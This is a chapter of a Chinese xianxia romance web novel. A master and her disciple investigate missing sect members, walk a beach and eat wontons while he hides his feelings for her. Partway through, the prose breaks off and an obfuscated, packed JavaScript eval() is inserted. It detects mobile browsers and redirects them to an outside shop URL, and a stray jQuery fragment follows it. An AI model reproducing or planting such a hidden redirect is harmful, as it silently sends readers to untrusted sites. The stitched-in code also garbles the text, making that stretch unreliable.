时玉问道:“可有什么消息传来?”
这名男子回道:“影二盯上了一个落单的门派弟子,想必不久后就能得手。影三暂时还没有消息。其他几人也已经按照您的吩咐去联络那些人了。”
时玉点点头,接着说道:“那些人,若有不听话的,就杀掉,以免泄露。”
男子默了一瞬,才道:“是。”
时玉看着自己的心腹,“影一,你是否也觉得我过于残忍?”
影一想起自己幼时被救回来后,夜里总能听到主人梦中说的那些发疯的话,这些年,他零零碎碎也拼凑出了些什么。他不说话。
时玉也不强迫他。那时候,自己还没有变成现在这样。
时玉看了看自己的双手,这上面沾满了人命。
美丽男子的脸上,露出一种迷惘的神色,但很快,他又恢复了一贯的镇定与平静。
他要沿着自己既定的路走下去,任何人都阻止不了他。
令臻与阿珩,此刻正在东边的海岸线上,他们穿着渔民的衣裳,并排坐在大石头上。
最近这次,他们扮演的是一对兄妹。
层层的海浪,扑在沙滩上,带上来新鲜的虾蟹,还有鱼儿。
令臻看着沙滩上的贝壳,她一时兴起,把鞋袜脱掉,裤腿挽起,提着裙摆从石头上跳下来。
阿珩看着师傅,也默不作声地跳了下来。但他是穿着鞋跳的,他不想沙子沾在脚上。
令臻感觉到细沙从脚趾缝里划过,痒痒的,于是她便笑起来,“阿珩,你快来试试,赤着脚踩上去,好痒~”
阿珩摇摇头,他小时候来过海边,那时,他也像师傅这般兴奋,如今他已经没有这种兴趣了。
令臻暂时忘记了连日来查访失踪人口带来的焦虑,她吹着海风,闭着眼睛站在海浪里,感觉着水花拂过脚面的轻柔,她的心情又好起来。
不管前路等着她的会是什么,这一刻,她是自由且快活的。
阿珩在她身后站着,他怕师傅被海浪冲倒。
自从他长大后,他便这么一直默默地陪在她身后。
令臻突然回头,看着徒弟正盯着她看,两人的距离离得极近,发丝被海风吹得纠缠在一起。
她看着徒弟认真且深沉的眼神,一时间有些失神。
等她回过神来,便道:“阿珩为何要这般看着师傅?”生怕她不见了似的。
阿珩却看着她道:“我怕师傅被海浪卷走。”
她笑起来,“这不是涨潮的时候。”
她虽然不在海边长大,却也知道涨潮的时候是危险的。
阿珩看着她,点点头,两人一起在沙滩上走。
令臻去捡贝壳,捡了一堆都给阿珩抱着,她看着螃蟹在沙滩上爬,怪好玩的,又蹲下准备用手去抓螃蟹。
阿珩把手中的贝壳丢在一旁,迅速抓住令臻的手,“师傅,别碰,它会夹人的手指。”
令臻看着徒弟,“阿珩,自从你历练回来后,处处要管着师傅,到底我们两人谁是师傅,谁是徒弟?”
阿珩反驳道:“之前查访的时候,师傅为了不暴露,还默认我们是兄妹。”
令臻叹道:“这是为了查访,若是被幕后之人猜出了我们的身份,非常不安全,还会连累师姐师兄他们。”
她想起带走凶兽的黑影,那人灵力极强,不得不小心应对。
阿珩却道:“师傅方才说的对。只是,阿珩以为,是谁更有智计就听谁的,不是谁年纪长便要听谁的。”
令臻笑道:“阿珩可是觉得师傅不如你聪明?”
阿珩摇头,“自然不是,我与师傅在这次计划里,互相商量,配合默契。”
他看着她的眼睛,“所以,徒弟并非管着师傅,是怕师傅受伤。”
令臻不说话了,她觉得,阿珩说的有道理,并非谁年纪长、地位高,便一定要听那人的话。
她对师傅修缘真人,也并非事事听从,常常叛逆。
令臻又走了一会儿,便走累了,她坐到大石头上,数捡来的贝壳。
阿珩看着她脚上的沙子,蹲了下来。
他抿着唇,一手握住师傅的脚踝,另一只手用干净的巾帕,仔细擦拭她脚上的沙子。
令臻低头,看着阿珩……
之前扮成母子,他给她洗脚是正常的,可是现在,他竟然也这般毫不介意地捧着她的脚。
以前,在涿光山上,徒弟最多给自己端水、铺床、打扫屋子。
如今,他竟……
她看着半蹲在她面前的阿珩,说道:“阿珩,你把巾帕给我,我自己会擦。”
阿珩抬头,“师傅,沙子已经擦干净了。”
他低下头,接着给她穿鞋袜。
穿好后,他站起身,静静看着她。
令臻坐在那里,仰着头,“阿珩……”
阿珩不待她说完话,就道:“在山上,我为师傅铺床叠被,如今为何不可以给师傅擦脚?”
令臻噎了一下,这两者听起来的确没多大差别。
阿珩不再说话。
他想做的,自然不止这些。
他对她,早已不是纯粹的师徒之情。
令臻打算去找师姐。
她一个多月前已经禀报过师傅她要探查失踪人口的事了,师傅还没有回信。
阿珩看着师傅若有所思的样子,问道:“师傅在想什么?”
令臻不打算和徒弟置气了,纵然徒弟想当师傅,想做兄长,想作她的主,可是现在,她才是师傅。
她说道:“我想去找师姐。”
阿珩却道:“不出意料的话,抓捕门派弟子的那些人,又会开始行动了。此时若留在山下,就会成为他们的目标。”
令臻道:“那师姐岂不是更加危险?”
阿珩看着师傅,“可是二师姑修为比你更高,身边还有悟真长老他们。我们现在应该回山上,才最为安全。”
令臻反驳道:“难道就因为那些人抓捕门派弟子,我们就要躲在山上不出来了吗?”
阿珩叹了口气,不说话了。
令臻给师姐传了信,过了半日师姐回了信,她看着小蝴蝶慢悠悠飞过来,连忙伸出手指去接。
师姐信中所说,他们现在正在西南部的一个小镇上,那附近丛林密布,有许多精灵与怪物,是历练的好地方。
令臻问徒弟,打算让他自己选,“阿珩,你是想回山上修炼,还是想陪师傅去西南密林?”
阿珩低头看着令臻,吐出一句,“师傅心里难道不清楚吗?”
他自然是要跟随她。
令臻盯着徒弟,不解地问:“我怎么知道阿珩心里如何想?阿珩刚才还说留在山下很危险。”
阿珩看着师傅清澈的眼神,师傅的确什么都不知道。
师傅不知道,他想时时陪在她身边。
师傅更不知道,他对她存了那种心思……
他又不说话了。
令臻看着又不说话了的徒弟,实在是有些头大。
既然徒弟不说话,她就当他是想陪她去西南密林找师姐。
她算了算路程,这里距离西南处的密林有三千多里,算上路上休息的时间,至少要四五日才能到西南。
等她去了,说不定师姐又要出发往下一个目的地去了。
她只好给师姐回信,问师姐在那处密林待几天,下一个地方准备去哪里。
待师姐又回了信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721146|208656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,令臻已经带着徒弟往西南方御剑飞行了半日了。
她暂停下来,读了师姐的信,师姐说她们还要在西南密林至少十日,让她路上安心,不要行太快,注意休息。
她得了信,心中便放心下来,她想在附近的城镇里逛逛。
之前为了查访,她和徒弟两个人有两个月的时间里都在偏僻的村落里,如今到了繁华的城镇,令臻想带着徒弟吃喝玩乐一番。
她暗暗地想,主要是她自己想吃喝玩乐,阿珩是顺带的。
令臻现在所处的城镇偏向中原地区,地势平坦,四面无山,五月份的天气里,正是好时光,城镇附近是一望无际的田野。
那些油菜花,让她想起当年在青石镇遇到阿珩的时候。
那时候的徒弟,乖巧可怜,而如今的徒弟……
她转头看了眼冷着脸不说话的阿珩。
她觉得徒弟现在脾气古怪的很,她不知道哪句话说错了,他就生气了。
阿珩在生自己的气。
他气自己为何要像只风筝,而线却扯在师傅的手里。
师傅走到哪里,他就也要到哪里。
他为何不能潇洒的一走了之?为何要陪师傅去那劳什子密林?
他问自己无数遍为什么。
然而结果都是:他要陪着师傅,他想陪着师傅。
他也生师傅的气。
他的一颗心被她时时刻刻牵扯着,而她却对此毫不知情。
令臻路过馄饨摊位前,想起第一次遇到徒弟时就是吃的馄饨。
她转身问徒弟,“阿珩,这次出来我们带够钱了吗?”
阿珩看着她,那种眼神晦暗不明,让她觉得要被吸进去。
令臻呆住了,阿珩若是不想吃,那就不吃了。
她刚要说话,就听到徒弟说:“足够用了”。
她开心地坐在板凳上,突然想起来问徒弟,“你要吃馄饨吗?还是一会儿陪你吃别的?”
阿珩想说:陪师傅吃馄饨。可是话到嘴边,他又说不出来了,为何他一定要陪着师傅吃她喜欢的东西呢?
可明明前些年,都是如此,他从未觉得有任何的不愿意。
现在,他为何偏偏要计较起她是否在意他的想法?
他听到自己吐出几个字:“我陪师傅吃馄饨。”
令臻转头和摊主说了,然后捧着脸坐着等馄饨上来。
阿珩盯着桌子。
过了没一会儿,馄饨就来了,先上了一碗,他又说道:“师傅先吃。”
阿珩看着眯着眼睛吃馄饨的师傅,他问自己:到底是因为他对师傅这个身份处处敬让……
还是因为,他对令臻处处迁就?
他在心里第一次喊师傅的大名。
他本该惶恐的,可是在梦里,他对师傅连那种事都做过了,还怕喊师傅的名字吗?
令臻看着阿珩,“阿珩快吃,一会儿凉了。”
他这才注意到第二碗馄饨已经在桌子上了。
阿珩默不作声地吃着馄饨,令臻看着徒弟的面色,她实在不知他为何又生气了。
两个人吃完后,令臻走在前面,阿珩跟在后面,又有大胆的女子给阿珩塞巾帕。
令臻回过头,就看到徒弟一脸冷意地把那巾帕还给那女子。
她觉得有些好笑,徒弟心中只有修炼,对女子的撩拨竟亳不动心。
她存了逗阿珩的心思,说道:“阿珩若是喜欢她们中的哪个,师傅绝不会拦着。若是将来你们成了亲,想去哪里生活都好。”
令臻说完此番话,她觉得自己真是个开明的师傅。
阿珩听了后,脸色更冷了。
他也不答话,竟然走在了她前面。